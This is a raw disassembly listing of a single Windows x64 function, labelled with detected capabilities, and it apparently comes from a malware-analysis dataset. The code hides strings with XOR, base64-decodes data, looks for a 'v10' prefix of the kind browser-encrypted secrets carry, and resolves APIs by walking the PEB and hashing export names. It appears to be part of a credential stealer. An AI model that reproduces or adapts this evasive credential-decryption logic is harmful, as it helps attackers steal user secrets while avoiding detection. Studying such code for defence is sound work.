Function at 0x14009a1b8
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], r8
mov qword [rax + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x488]
sub rsp, 0x550
mov r15, r8
lea rcx, [rbp + 0x30]
call fcn.140088ee4
nop
mov al, byte [rbp + 0x48]
test al, al
je 0x14009a639
mov r14, qword [rbp + 0x38]
mov r11, qword [rbp + 0x30]
mov qword [rsp + 0x78], r11
sub r14, r11
mov qword [rbp - 0x68], r14
mov r12d, 0
je 0x14009a639
movabs rsi, 0xa82193d2b76c2093
movabs rbx, 0x3696c01740183408
lea edi, [r12 + 2]
movabs rax, 0xcf76aaa5831b71f7
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x40], rax
movabs rax, 0x3696c0177a495750
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x38], rax
mov qword [rsp + 0x50], rsi
mov rax, qword [rsp + 0x50]
mov qword [rbp], rax
mov qword [rsp + 0x50], rbx
mov rax, qword [rsp + 0x50]
mov qword [rbp + 8], rax
movdqa xmm0, xmmword [rbp - 0x40]
xorps xmm0, xmmword [rbp]
movdqa xmmword [rbp - 0x40], xmm0
mov rdx, r14
sub rdx, r12
lea rcx, [r11 + r12]
mov r9d, 0xc
lea r8, [rbp - 0x40]
call fcn.1400af144
mov r13, rax
mov qword [rbp - 0x10], rax
test rax, rax
je 0x14009a636
movabs rax, 0xa82193d2b76c20b1
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x50]
mov qword [rbp - 0x30], rcx
mov qword [rsp + 0x50], rbx
mov rcx, qword [rsp + 0x50]
mov qword [rbp - 0x28], rcx
mov qword [rsp + 0x50], rsi
mov rcx, qword [rsp + 0x50]
mov qword [rbp + 0x10], rcx
mov qword [rsp + 0x50], rbx
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0x18], rax
movdqa xmm0, xmmword [rbp - 0x30]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp - 0x30], xmm0
mov rdx, r11
sub rdx, r13
add rdx, r14
mov r9d, 1
lea r8, [rbp - 0x30]
mov rcx, r13
call fcn.1400af144
test rax, rax
je 0x14009a62d
lea rdx, [r13 + 0xc]
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
and qword [rsp + 0x68], 0
and qword [rsp + 0x70], 0
cmp rdx, rax
jne 0x14009a35a
xor ebx, ebx
mov qword [rsp + 0x68], rbx
lea edx, [rbx + 0xf]
mov qword [rsp + 0x70], rdx
mov byte [rsp + 0x58], bl
jmp 0x14009a374
sub rax, rdx
mov r8, rax
lea rcx, [rsp + 0x58]
call fcn.14007d7ec
mov rdx, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x68]
cmp rbx, rdi
jae 0x14009a3b1
lea r8, [rsp + 0x58]
cmp rdx, 0x10
setae cl
cmovae r8, qword [rsp + 0x58]
add r8, rbx
lea rdx, [rsp + 0x58]
test cl, cl
cmovne rdx, qword [rsp + 0x58]
lea rcx, [rbp - 0x80]
call fcn.14008cba8
mov rsi, qword [rbp - 0x70]
mov rdi, qword [rbp - 0x80]
jmp 0x14009a55e
lea rax, [rbx + 3]
and rax, 0xfffffffffffffffc
mov rcx, rax
sub rcx, rbx
cmp rcx, rdi
cmova rcx, rdi
lea rsi, [rax + rax*2]
shr rsi, 2
sub rsi, rcx
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x60], xmm0
mov r8d, 0
mov qword [rbp - 0x50], r8
je 0x14009a401
lea r8, [rbp + 0x4a8]
mov rdx, rsi
lea rcx, [rbp - 0x60]
call fcn.14008d7c4
mov rdx, qword [rsp + 0x70]
mov r8, qword [rbp - 0x50]
lea r10, [rsp + 0x58]
cmp rdx, 0x10
cmovae r10, qword [rsp + 0x58]
xor ecx, ecx
xor r9d, r9d
mov rdi, qword [rbp - 0x60]
test rbx, rbx
je 0x14009a4db
lea r13, str.________________________________________________456789:_________
mov r14b, 0x3d
cmp byte [r10 + r9], r14b
jne 0x14009a436
xor edx, edx
jmp 0x14009a440
movsx rax, byte [r10 + r9]
movzx edx, byte [rax + r13]
movsx rax, byte [r9 + r10 + 1]
cmp al, r14b
jne 0x14009a450
xor r15d, r15d
jmp 0x14009a455
movzx r15d, byte [rax + r13]
movsx rax, byte [r9 + r10 + 2]
lea r11, [r9 + 3]
cmp al, r14b
jne 0x14009a469
xor r14d, r14d
jmp 0x14009a46e
movzx r14d, byte [rax + r13]
lea r9, [r11 + 1]
cmp byte [r11 + r10], 0x3d
jne 0x14009a47d
xor eax, eax
jmp 0x14009a487
movsx rax, byte [r11 + r10]
movzx eax, byte [rax + r13]
shl edx, 6
add edx, r15d
shl edx, 6
add edx, r14d
shl edx, 6
add edx, eax
cmp rcx, rsi
jae 0x14009a4c3
mov eax, edx
shr eax, 0x10
mov byte [rdi + rcx], al
inc rcx
cmp rcx, rsi
jae 0x14009a4c3
mov eax, edx
shr eax, 8
mov byte [rdi + rcx], al
inc rcx
cmp rcx, rsi
jae 0x14009a4c3
mov byte [rdi + rcx], dl
inc rcx
cmp r9, rbx
jb 0x14009a429
mov r13, qword [rbp - 0x10]
mov r14, qword [rbp - 0x68]
mov r15, qword [rbp + 0x4a0]
cmp rsi, rcx
je 0x14009a53c
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x80], xmm0
xor esi, esi
mov qword [rbp - 0x70], rsi
test rdi, rdi
je 0x14009a3a8
sub r8, rdi
mov rax, rdi
cmp r8, 0x1000
jb 0x14009a51f
add r8, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14009ab7a
mov rdx, r8
mov rcx, rdi
call fcn.1400b39dc
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x60], xmm0
and qword [rbp - 0x50], 0
jmp 0x14009a3a8
mov rsi, r8
and qword [rbp - 0x50], 0
mov rax, qword [rbp - 0x58]
and qword [rbp - 0x58], 0
and qword [rbp - 0x60], 0
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], r8
mov rax, qword [rbp - 0x78]
sub rax, rdi
cmp rax, 0xf
jbe 0x14009a70f
cmp byte [rdi], 0x76
jne 0x14009a70f
cmp byte [rdi + 1], 0x31
jne 0x14009a70f
cmp byte [rdi + 2], 0x30
jne 0x14009a70f
mov r9, qword [rbp + 0x490]
cmp byte [r9 + 0x38], 0
jne 0x14009a663
sub rsi, rdi
cmp rsi, 0x1000
mov rax, rdi
jb 0x14009a5c6
mov rdi, qword [rdi - 8]
sub rax, rdi
add rsi, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14009ab8c
mov rdx, rsi
mov rcx, rdi
call fcn.1400b39dc
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x14009a60f
inc rdx
mov rcx, qword [rsp + 0x58]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14009a60a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14009ab92
call fcn.1400b39dc
mov r11, qword [rsp + 0x78]
movabs rsi, 0xa82193d2b76c2093
movabs rbx, 0x3696c01740183408
mov edi, 2
cmp r12, r14
jb 0x14009a231
mov al, byte [rbp + 0x48]
test al, al
je 0x14009a648
xor edx, edx
lea rcx, [rbp + 0x30]
call fcn.14008802c
mov rbx, qword [rsp + 0x598]
add rsp, 0x550
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
cmp rax, 0x1f
jbe 0x14009a59e
lea r8, [rdi + 3]
lea rdx, [r8 + 0xc]
lea rbx, [rax - 0x1f]
lea rax, [rbx + rdx]
mov ecx, dword [r9 + 8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rcx
mov r9, qword [r9 + 0x10]
mov r8d, ebx
lea rcx, [rbp + 0x50]
call fcn.140001090
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rcx, qword [rsp + 0x58]
and qword [rsp + 0x68], 0
mov byte [rcx], 0
test eax, eax
jne 0x14009aa01
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
setae r8b
cmovae rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x68]
add rdx, rcx
lea r9, [rbp + rbx + 0x4f]
lea rax, [rsp + 0x58]
test r8b, r8b
cmovne rax, qword [rsp + 0x58]
sub rdx, rax
lea rax, [rbp + 0x50]
sub r9, rax
lea r8, [rbp + 0x50]
lea rcx, [rsp + 0x58]
call fcn.14007dbfc
jmp 0x14009aa01
mov qword [rbp + 0x28], rdi
mov dword [rbp + 0x20], eax
mov rdx, qword [0x140143fb0]
test rdx, rdx
jne 0x14009a798
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r9, qword [rax + 0x60]
movzx ecx, word [rax + 0x58]
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0xed10f3b4
cmp r9, r11
je 0x14009a780
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
add r9, 2
cmp r9, r11
jne 0x14009a74d
cmp r10d, 0xe2b20713
je 0x14009a785
mov rax, qword [rax]
jmp 0x14009a733
mov rdx, qword [rax + 0x30]
mov qword [0x140143fb0], rdx
mov rsi, qword [rbp - 0x70]
mov rdi, qword [rbp - 0x80]
movsxd rax, dword [rdx + 0x3c]
mov r8d, dword [rax + rdx + 0x88]
xor r9d, r9d
mov ebx, dword [r8 + rdx + 0x20]
lea rax, [rbx + r9*4]
mov ecx, dword [rax + rdx]
add rcx, rdx
mov r10d, 0xee10f547
mov al, byte [rcx]
inc rcx
test al, al
je 0x14009a7e4
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
mov al, byte [rcx]
inc rcx
test al, al
jne 0x14009a7c5
cmp r10d, 0x1e7518a1
je 0x14009a7e9
inc r9d
jmp 0x14009a7ac
mov ecx, dword [r8 + rdx + 0x1c]
add rcx, rdx
mov eax, dword [r8 + rdx + 0x24]
add rax, rdx
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, rdx
lea rax, [rbp - 0x20]
mov qword [rsp + 0x30], rax
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x20]
call r10
test eax, eax
jne 0x14009a8aa
test rdi, rdi
je 0x14009a865
sub rsi, rdi
mov rax, rdi
cmp rsi, 0x1000
jb 0x14009a859
add rsi, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14009ab98
mov rdx, rsi
mov rcx, rdi
call fcn.1400b39dc
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x14009a60f
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14009a60a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14009ab80
jmp 0x14009a60a
lea rax, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rax, qword [rsp + 0x58]
and qword [rsp + 0x68], 0
mov byte [rax], 0
mov r14d, dword [rbp - 0x20]
cmp r14, qword [rsp + 0x70]
ja 0x14009a8fb
lea rbx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rbx, qword [rsp + 0x58]
mov qword [rsp + 0x68], r14
mov r8d, r14d
mov rdx, qword [rbp - 0x18]
mov rcx, rbx
call fcn.1400db0d0
mov byte [rbx + r14], 0
jmp 0x14009a90c
mov r9, qword [rbp - 0x18]
mov rdx, r14
lea rcx, [rsp + 0x58]
call fcn.140095918
mov r8, qword [0x140143fa8]
test r8, r8
jne 0x14009a98e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r9, qword [rax + 0x60]
movzx ecx, word [rax + 0x58]
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x6f1f37e4
cmp r9, r11
je 0x14009a976
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
add r9, 2
cmp r9, r11
jne 0x14009a943
cmp r10d, 0x144d9e6e
je 0x14009a97b
mov rax, qword [rax]
jmp 0x14009a929
mov r8, qword [rax + 0x30]
mov qword [0x140143fa8], r8
mov rsi, qword [rbp - 0x70]
mov rdi, qword [rbp - 0x80]
movsxd rax, dword [r8 + 0x3c]
mov edx, dword [rax + r8 + 0x88]
xor r9d, r9d
mov ebx, dword [rdx + r8 + 0x20]
lea rax, [rbx + r9*4]
mov ecx, dword [rax + r8]
add rcx, r8
mov r10d, 0x701f3977
mov al, byte [rcx]
inc rcx
test al, al
je 0x14009a9db
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
mov al, byte [rcx]
inc rcx
test al, al
jne 0x14009a9bc
cmp r10d, 0xc387e034
je 0x14009a9e0
inc r9d
jmp 0x14009a9a2
mov ecx, dword [rdx + r8 + 0x1c]
add rcx, r8
mov eax, dword [rdx + r8 + 0x24]
add rax, r8
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r8
mov rcx, qword [rbp - 0x18]
call rdx
mov r14, qword [r15 + 8]
cmp r14, qword [r15 + 0x10]
je 0x14009aad8
xorps xmm0, xmm0
movups xmmword [r14], xmm0
and qword [r14 + 0x10], 0
and qword [r14 + 0x18], 0
mov r15, qword [rsp + 0x68]
lea r12, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae r12, qword [rsp + 0x58]
movabs rax, 0x7fffffffffffffff
cmp r15, rax
ja 0x14009ab9e
mov qword [r14 + 0x18], 0xf
cmp r15, 0x10
jae 0x14009aa67
mov qword [r14 + 0x10], r15
movups xmm0, xmmword [r12]
movdqu xmmword [r14], xmm0
jmp 0x14009aaca
mov rbx, r15
or rbx, 0xf
cmp rbx, rax
jbe 0x14009aa82
mov rbx, rax
movabs rcx, 0x8000000000000000
jmp 0x14009aa9b
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14009aaa2
call fcn.140004ad4
jmp 0x14009aab0
test rcx, rcx
je 0x14009aaae
call fcn.1400b39a0
jmp 0x14009aab0
xor eax, eax
mov qword [r14], rax
mov qword [r14 + 0x10], r15
mov qword [r14 + 0x18], rbx
lea r8, [r15 + 1]
mov rdx, r12
mov rcx, rax
call fcn.1400db0d0
mov r15, qword [rbp + 0x4a0]
add qword [r15 + 8], 0x20
jmp 0x14009aae8
lea r8, [rsp + 0x58]
mov rdx, r14
mov rcx, r15
call fcn.14009b144
mov r12, r13
mov r11, qword [rsp + 0x78]
sub r12, r11
inc r12
test rdi, rdi
je 0x14009ab2f
sub rsi, rdi
mov rax, rdi
cmp rsi, 0x1000
jb 0x14009ab1f
add rsi, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14009ab7a
mov rdx, rsi
mov rcx, rdi
call fcn.1400b39dc
mov r11, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x14009ab71
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14009ab63
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14009ab86
call fcn.1400b39dc
mov r14, qword [rbp - 0x68]
jmp 0x14009a60f
mov r14, qword [rbp - 0x68]
jmp 0x14009a614
call fcn.1400e2dd8
nop
call fcn.1400e2dd8
int3
call fcn.1400e2dd8
nop
call fcn.1400e2dd8
nop
call fcn.1400e2dd8
nop
call fcn.1400e2dd8
nop
call fcn.140002d80
int3